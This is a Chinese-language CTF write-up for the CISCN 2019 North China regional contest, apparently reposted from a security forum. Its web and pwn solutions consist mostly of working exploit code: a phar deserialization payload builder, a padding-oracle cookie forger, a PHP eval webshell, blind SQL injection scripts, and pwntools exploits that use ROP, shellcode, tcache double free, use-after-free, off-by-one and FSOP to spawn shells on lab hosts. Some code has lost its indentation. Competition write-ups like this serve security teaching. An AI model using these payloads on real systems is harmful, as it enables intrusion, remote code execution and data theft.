【CISCN2019】华北赛区-天枢&waterflower
2019-06-13 10:25:00 Author: xz.aliyun.com(查看原文) 阅读量:97 收藏

web-day1

web1

EXP
利用User的__destruct的close()调用File的close()

<?php
    class File{
        public $filename = "/flag.txt";
    }
    class User {
        public $db;
    } 
    class FileList {
        public $files;
    } 
    $o = new User();
    $o->db =new FileList();
    $o->db->files=array(new File());
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

上传文件后删除抓包,即可得到flag

web2

  1. 薅羊毛与逻辑漏洞
  2. cookie伪造
  3. python反序列化
    首先批量注册筹款。
    根据提示找到lv6的商品。
    import requests
    for i in range(2000):
     a = requests.get('http://172.1.2.2/info/{}'.format(str(i)))
     if 'lv6.png' in a.content:
         print i
    
    抓包修改折扣的参数,让我们买得起,购买成功从而获得后台路径。 http://172.1.2.2/b1g_m4mber

提示修改cookie,是个jwt,爆破一下,key是1Kun,篡改username为admin。
获得反序列化的机会。在源码中读到这个。

下载源码,找到反序列的地方。

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

反序列化读文件。

web3

获得的源码和实际服务器上代码完全不同。
有git泄露,但是没用。

在robots.txt找到备份
http://172.1.2.5/backup.zip

# -*- coding: utf-8 -*-

import sys
import string
import base64
import requests

def str_xor(a, b):
    return ''.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)])

#base_url = "http://172.2.100.103:23232/login.php"
base_url = "http://172.1.2.5/login.php"
cookies = {
    'token': '',
    'PHPSESSID': '4cc5fdroq2lcaeiflsjm3d9ueu'
}

tmp_iv = '0' * 16
tmp_ivs = list(tmp_iv)

value = []

# 只能破解出value后15个字符
for flag in range(1, 16):
    for i in range(256):
        # brute
        tmp_ivs[15-len(value)] = chr(i)
        cookies['token'] = base64.b64encode(''.join(tmp_ivs))
        resp = requests.get(base_url, cookies=cookies)
        if 'Error' not in resp.content:
            value.append(flag ^ i)
            # 更改初始向量
            tmp_iv = '0' * (16-len(value)) + ''.join(chr(value[i] ^ (flag+1))
                                        for i in range(len(value)-1, -1, -1))
            tmp_ivs = list(tmp_iv)
            #print resp.content
            print flag, i, value
            break
        if i == 255:
            print resp.content
            print 'error'
            break

# 逆序
value.reverse()
print value
value_ = ''.join(chr(v) for v in value)
fake_id = 'onepiece' + chr(8) *8

len_ = 0

for i in range(256):
    # 爆破value 第一个字符
    token = chr(i) + value_
    iv = str_xor(token, fake_id)
    cookies['token'] = base64.b64encode(iv)
    # print cookies['token']
    resp = requests.get(base_url, cookies=cookies)

    if len_ != len(resp.content):
        print i
        print cookies
        print resp.content

    len_ = len(resp.content)

padding-oracle,代码中说把明文改成admin,结果hint说改成onepiece,汗
改对以后,admin.php还不给flag,和主办方说了才修复了环境。

web4

  1. 扫描得 hint.php
  2. index.php 返回头带有 uploadupload.php
  3. 通过 hint.php 伪协议可得全部代码
  4. 新建文件夹i,内含一t.php
    t.php 内容
    <?php
    $in=file_get_contents("php://input");
    var_dump(eval($in));
    ?>
  5. 通过 uploadupload.php 上传修改后缀为 jpg 的 phar
  6. hint.php?name=phar://file/ce5193a069bea027a60e06c57a106eb6.jpg/i/t,得到 webshell
  7. 菜刀连上获得 /flag.txt

web5

sqlmap随便找个地方一把梭,好像是手机号可以注入。
然后select load_file('/flag.txt');

还有首页有一个文件包含,可以直接读取flag。

web-day2

web1

sql注入,用elf(bool,sleep(5))可以时间盲注,用\t绕过空格的校验。

import requests
import time
url = "http://172.1.2.1/index.php"
flag = ''
while True:
    for i in range(128):
        ss = time.time()
        data = {
            'id':'''ELT(left((select    flag    from    ctf),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, chr(i))
        }
        #print data
        requests.post(url,data=data)
        if time.time()-ss>=0.5:
            flag += chr(i)
            print flag
            break

EXP2

import requests
import string
dic = string.digits + string.letters + "!@$%^&*()_+{}-="

url = "http://172.1.15.1/index.php"

data = {
    "id":""
}
l = 1
flag = ""
while(True):
    for i in range(256):
        # print i
        data['id'] = "IF(substr((select flag from ctf),{},1)='{}',1,2)".format(l,chr(i))
        data['id'] = data['id'].replace(" ","\n")
        resp = requests.post(url,data=data)
        # print(resp.content)
        if "first" in resp.content:
            flag += chr(i)
            print flag
            break
    l+=1

web2

  1. 访问 http://172.1.2.2/?src 得到源码
  2. 审计源码,添加了$_POST 绕过 $_REQUEST
  3. url 转义 绕过 QUERY_STRING 匹配,数组绕过 md5
  4. flag 参数用 data://text/plain,security 绕过
  5. curl -X POST \
    'http://172.1.2.2/index.php?cyber%5B%5D=123&ciscn=ciscnsec%0A&flag=data%3A%2F%2Ftext%2Fplain%2Csecurity' \
    -H 'cache-control: no-cache' \
    -H 'content-type: application/x-www-form-urlencoded' \
    -H 'postman-token: 2422f808-0e28-ea5f-7613-a84c06e1a641' \
    -d 'flag=1&cyber=1&ciscn=1'
    【注意url编码绕过】
    # pwn
    ## pwn-day1
    ### pwn1
    直接栈溢出加ROP,劫持栈到bss段上,ROP调用system getshell
    ```python
    from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def pwn():
global p
BIN_PATH = './guess'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

else:
    p = remote('172.1.2.6',8888)
    # libc = ELF('./libc_32.so.6')
    context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
    gdb.attach(p,'''
    b *0x4006a2
    b *0x4006DA
    set follow-fork-mode parent
    ''')
ru(' number.')
# sl('a'*(0x30-0x4)+p64(0x41348000)+'a'*0x100)
target = 0x601100+0x400
p_rdi_r = 0x0000000000400793
p_rsi_r15_r = 0x0000000000400791
leave_r = 0x4006DA
gets_plt = 0x400550
system_plt = 0x400530
# system_plt = 0x4006C8
payload = 'a'*(0x30-0x4)+p32(0x41348000)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
# payload = 'a'*(0x30-0x4)+p32(0xdeadbeef)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
payload += p64(leave_r)
sl(payload)
raw_input('ssss')

payload = p64(0xdeadbeef)+p64(p_rdi_r)+p64(target+0x50)+p64(p_rsi_r15_r)+p64(0)*2+p64(system_plt)
payload = payload.ljust(0x50,'\x00')
payload += '/bin/sh\x00'
sl(payload)
p.interactive()

if name == 'main':
pwn()

### pwn5

还是简单的栈溢出,存在rwx的段,第一次读入的shellcode字节数长度不够,可以在溢出的时候ROP调用gets往rwx段读入不受长度限制的shellcode,在跳转到shellcode执行即可getshell
```python
from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def pwn():
    global p
    BIN_PATH = './pwn'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'amd64'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.8',8888)
        # libc = ELF('./libc_32.so.6')
        context.log_level = 'debug'
    # 0x555555554000
    if ATTACH==1:
        gdb.attach(p,'''
        b *0x4006A4
        ''')
    p_rdi_r = 0x0000000000400713
    p_rsi_r15 = 0x0000000000400711
    gets_plt = 0x400510
    target = 0x601080
    payload = 'aaaa'
    info(hex(len(payload)))
    sla('name',payload)
    payload = '\x00'*0x20+p64(0xdeadbeef)+p64(p_rdi_r)+p64(target)+p64(gets_plt)+p64(target)
    sla('to me?',payload)
    raw_input('sss')
    sl(asm(shellcraft.sh()))
    p.interactive()

if __name__ == '__main__':
    pwn()

pwn2

这题的给的libc为2.29,有tcache,但是该版本的libc对tcache进行了double free的检测。(具体怎么检测的感兴趣的可以看一下源码)。
程序在delete的时候只是将标志字段设置为0,并没有将指针清零,而程序在delete和addMoney中,没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的key(key与money是对应的),进而就可以double free了,然后改bss上的指针就可以了。

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')

context.log_level = 'debug'

def create(name, age):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil('name:')
    p.send(name)
    p.recvuntil('age:')
    p.send(str(age))

def delete(idx):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.send(str(idx))

def edit(idx, name, age):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.send(str(idx))
    p.recvuntil('name:')
    p.send(name)
    p.recvuntil('age:')
    p.send(str(age))

def show(idx):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Index:')
    p.send(str(idx))


def add(idx):
    p.recvuntil('Your choice: ')
    p.sendline('5')
    p.recvuntil('Index:')
    p.send(str(idx))

def buy(idx, addr, l):
    p.recvuntil('Your choice: ')
    p.sendline('6')
    p.recvuntil('Index:')
    p.send(str(idx))
    p.recvuntil('leak:')
    p.sendline(str(addr))
    p.recvuntil('leak:')
    p.sendline(str(l))

def GameStart(ip, port, debug):
    global p
    if debug == 1:
        p = process('./pwn')
    else:
        p = remote(ip, port)

    libc = ELF("./libc.so")
    create('emmm', 10)
    delete(0)
    add(0)
    delete(0)
    create(p64(0x602060), 10)
    create(p64(0x601FA8), 10)
    create(p64(0x601F88), 10)
    add(2)
    show(0)
    p.recvuntil('name: ')
    libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['free']
    log.info('libc addr is : ' + hex(libc.address))

    edit(2, p64(libc.symbols['__free_hook']), next(libc.search('/bin/sh')))
    edit(0, p64(libc.symbols['system']), 10)
    delete(1)

    p.interactive()

if __name__ == '__main__':
    GameStart('172.1.2.7', 8888, 0)

pwn3

在创建Text类型的Note的时候,如果type不对或是size过大,程序会return,但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了,而type的值还是之前保留下来的脏数据,由此可以泄露heap地址。程序还存在UAF漏洞,这样就可以double free来改Note结构体中的函数指针为plt@system,删除对应的Note即可getshell。

from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(idx,typ,value,size=0):
    sla('CNote > ',str(1))
    sla('Index > ',str(idx))
    sla('Type > ',str(typ))
    if typ==1:
        sla('Value > ',str(value))
    else:
        sla('Length > ',str(size))
        if size<=0x400:
            sa('Value > ',value)
def delete(idx):
    sla('CNote > ',str(2))
    sla('Index > ',str(idx))

def show(idx):
    sla('CNote > ',str(3))
    sla('Index > ',str(idx))

def pwn():
    global p
    BIN_PATH = './torchwood'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'i386'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.9',8888)
        # libc = ELF('./libc_32.so.6')
        context.log_level = 'debug'
    # 0x555555554000
    # if ATTACH==1:
    #   gdb.attach(p,'''
    #   b *0x08048AC1
    #   ''')
    # add(idx,typ,value,size=0)
    # leak heap addr
    add(0,2,'aaaa\n',0x38)
    add(1,1,0x1234)
    delete(0)
    add(2,2,'aaaa\n',0x500)
    show(2)
    ru('Value=')
    heap_addr = int(ru(')')[:-1])
    log.info('heap addr: '+hex(heap_addr))
    heap_base = heap_addr-0x18
    log.info('heap base: '+hex(heap_base))
    add(3,2,'e3pem\n',0x38)

    # double free
    payload = 'a'*0x28+p32(0)+p32(0x41)+'\n'
    add(4,2,payload,0x38)
    add(5,2,'aaaa\n',0x38)
    add(6,1,0x1234)
    delete(4)
    delete(5)
    delete(4)

    payload=p32(heap_base+0xb0)+'\n'
    add(7,2,payload,0x38)
    add(8,2,'/bin/sh\x00\n',0x38)
    add(9,2,'aaaa\n',0x38)
    delete(1)

    if ATTACH==1:
        gdb.attach(p,'''
        b *0x08048AC1
        b *0x0804895A
        ''')
    payload = '\x00'*8+p32(0)+p32(0x11)+'sh\x00\x00'+p32(0x8048500)+p32(heap_base+0xd8)+'\x41'+'\n'
    add(10,2,payload,0x38)

    delete(8)

    # add(0,1,0x1234)
    # payload = 'e3pem\n'
    # add(2,2,payload,0xa0)
    p.interactive()

if __name__ == '__main__':
    pwn()

pwn4

libc 2.23的off-by-one,程序没有开PIE。可以很方便的构造堆块重叠,进而可以改在堆中的结构体,造成任意地址写(改got表、_IO_list_all等都可以)。

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'


def build(size, data):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil(' nest ?')
    p.sendline(str(size))
    p.recvuntil('the nest?')
    p.send(data)

def offbyone(idx, data):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))
    p.recvuntil('the nest?')
    p.send(data)

def show(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def VTCBypassOneGadget(vtable_addr, one_gadget_addr, io_list_all_addr):
    exp = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
    exp += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) * 6 + p64(0) + p64(0) * 4
    exp += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(one_gadget_addr)
    return exp

def GameStart(ip, port, debug):
    global p
    if debug == 1:
        p = process('./wood', env = {'LD_PRELOAD' : './libc.so.6'})
    else:
        p = remote(ip, port)

    libc = ELF('./libc.so.6')

    build(0x10, 'emmmmm')
    build(0x10, 'emmmmm')
    delete(0)
    delete(1)

    build(0x28, 'emmmm')
    build(0xf0, 'emmmm')
    build(0xe0, 'emmmm')
    offbyone(0, '\x00' * 0x28 + '\xf1')
    delete(1)
    build(0x300, '\x00' * 0xf0 + p64(0) + p64(0xf1) + '\x00' * 0xe0 + p64(0) + p64(0x21) + '\x00' * 0x10 + p64(0) + p64(0x21))
    delete(2)
    build(0xe0, 'a' * 8)
    show(2)
    p.recvuntil('aaaaaaaa')
    libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
    log.info('libc addr is : ' + hex(libc.address))
    delete(2)
    one_gadget = 0x45216
    one_gadget = 0x4526a
    # one_gadget = 0xf02a4
    # one_gadget = 0xf02b0
    # one_gadget = 0xf1147

    offbyone(1, '\x00' * 0xf0 + VTCBypassOneGadget(libc.address + 0x3C33F8, libc.address + one_gadget, libc.symbols['_IO_list_all']))
    # gdb.attach(p)

    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil(' nest ?')
    p.sendline(str(0x100))

    p.interactive()

if __name__ == '__main__':
    GameStart('172.1.2.10', 8888, 0)

pwn-day2

pwn2

输入666即可泄露libc地址,程序在读取Author name:的时候多读了8字节,刚好覆盖了下一个字段,该字段为指针,这样就能实现任意地址写了。利用任意地址写来修改stderror结构体的vtable指针,指向我们可控的地方,exit触发虚表调用即可getshell

from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(length,name):
    sla('-> ',str(1))
    sla('Length: ',str(length))
    sa('name:',name)

def pwn():
    global p
    BIN_PATH = './pwn'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'amd64'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.4',8888)
        libc = ELF('./libc2.so')
        context.log_level = 'debug'
    # 0x555555554000
    if ATTACH==1:
        gdb.attach(p,'''
        b *0x555555554000+0xa77
        b *0xf30+0x555555554000
        ''')
    sla('-> \n',str(666))
    # print ru('\n')
    libc_base = int(ru('\n')[:-1],16)-libc.sym['puts']
    log.info('libc addr: '+hex(libc_base))
    # add
    payload = 'a'*8+p64(libc_base+libc.sym['_IO_2_1_stderr_'])
    add(0xe0,payload)
    sla('-> \n',str(2))
    sla('New ','e3pem')
    fake_file = ('/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc.sym['_IO_list_all']-0x10)+p64(libc.sym['_IO_list_all'])+p64(libc.sym['_IO_list_all']+0x10))
    fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+56)+p64(0)*2+p64(libc_base+libc.sym['system'])*5+p64(0)*6+p64(0)+p64(0)*3+p64(0xffffffffffffffff)
    fake_file = fake_file.ljust(0xd8,'\x00')
    fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+8*6)
    payload = fake_file
    print hex(len(fake_file))
    sla('contents:\n',payload)
    ru('Over.')
    sla('-> \n',str(4))

    p.interactive()

if __name__ == '__main__':
    pwn()

pwn3

是一个逆向题目,输入24个字符,类似自动机一样处理数据。运算完之后和结果比对,若对于每个字符a,abs(a-target)<=1,就给你shell。

ida里可以提取十六进制,然后把他写个脚本转换为 long double型的数。

# coding:utf-8
from pwn import *

con = remote("172.1.2.5",8888)
con.recvuntil('Input something')

target = [224.000000,60.000000,196.000000,119.000000,127.000000,179.000000,1.000000,77.000000,173.000000,109.000000,29.000000,111.000000,195.000000,194.000000,100.000000,108.000000,1.339806,60.000000,0.640625,42.000000,260.000000,44.529411,79.000000,143.000000]

# 参数
v11 = [0x1,0x10,0x25,0x3,0x0D,0x0A,0x2,0x0B,0x28,0x2,0x14,0x3F,0x1,0x17,0x3C,0x1,0x0,0x69,0x1,0x12,0x3F,0x2,0x0E,0x77,0x3,0x15,0x53,0x2,0x0E,0x7D,0x3,0x5,0x0A,0x2,0x4,0x55,0x2,0x15,0x33,0x2,0x15,0x5,0x1,0x5,0x2F,0x3,0x7,0x43,0x1,0x11,0x39,0x3,0x0D,0x27,0x1,0x5,0x1E,0x3,0x4,0x3C,0x1,0x13,0x1E,0x3,0x1,0x78,0x1,0x0,0x20,0x2,0x0F,0x53,0x3,0x14,0x2B,0x3,0x14,0x28,0x3,0x0A,0x19,0x3,0x12,0x60,0x1,0x5,0x7E,0x3,0x0F,0x20,0x1,0x0F,0x58,0x2,0x11,0x51,0x1,0x0B,0x24,0x1,0x17,0x79,0x1,0x0E,0x4A,0x3,0x10,0x67,0x2,0x16,0x5C,0x3,0x9,0x6D,0x1,0x17,0x30,0x2,0x0A,0x2C,0x3,0x7,0x3F,0x3,0x7,0x43,0x1,0x4,0x4,0x2,0x0,0x0F,0x1,0x2,0x63,0x2,0x3,0x70,0x1,0x8,0x7B,0x2,0x6,0x14C,0x2,0x0B,0x7A,0x1,0x0C,0x0D0,0x2,0x11,0x22,0x2,0x13,0x66,0x4,0x15,0x0BB,0x4,0x12,0x80,0x4,0x10,0x67,0x4,0x1,0x0D8,0x1,0x3,0x80,0x1,0x4,0x2,0x4,0x4,0x12,0x4,0x5,0x7,0x1,0x6,0x0DA,0x4,0x7,0x43,0x4,0x7,0x43,0x4,0x7,0x5A,0x2,0x8,0x42,0x4,0x9,0x5F,0x4,0x0A,0x59,0x1,0x0B,0x79,0x2,0x0C,0x6C,0x4,0x0D,0x0C3,0x1,0x0E,0x0AF,0x4,0x0F,0x0A,0x4,0x10,0x67,0x4,0x12,0x0C0,0x4,0x14,0x2B,0x4,0x14,0x8,0x1,0x16,0x6C,0x2,0x17,0x0D3]

assert(len(target)==24)
v11.reverse()

# 三个一组
for i in range(0,232,3):
    # 反向
    op_ = v11[i+2]
    index_ = v11[i+1]
    num_ = v11[i]

    if op_ == 2:
        target[index_] += num_
    if op_ == 3:
        target[index_] /= num_
    if op_ == 4:
        target[index_] *= num_
    if op_ == 1:
        target[index_] -= num_

result = ''
for op in target:
    result += chr(int(op))
con.sendline(result)
con.interactive()

文章来源: http://xz.aliyun.com/t/5383
如有侵权请联系:admin#unsafe.sh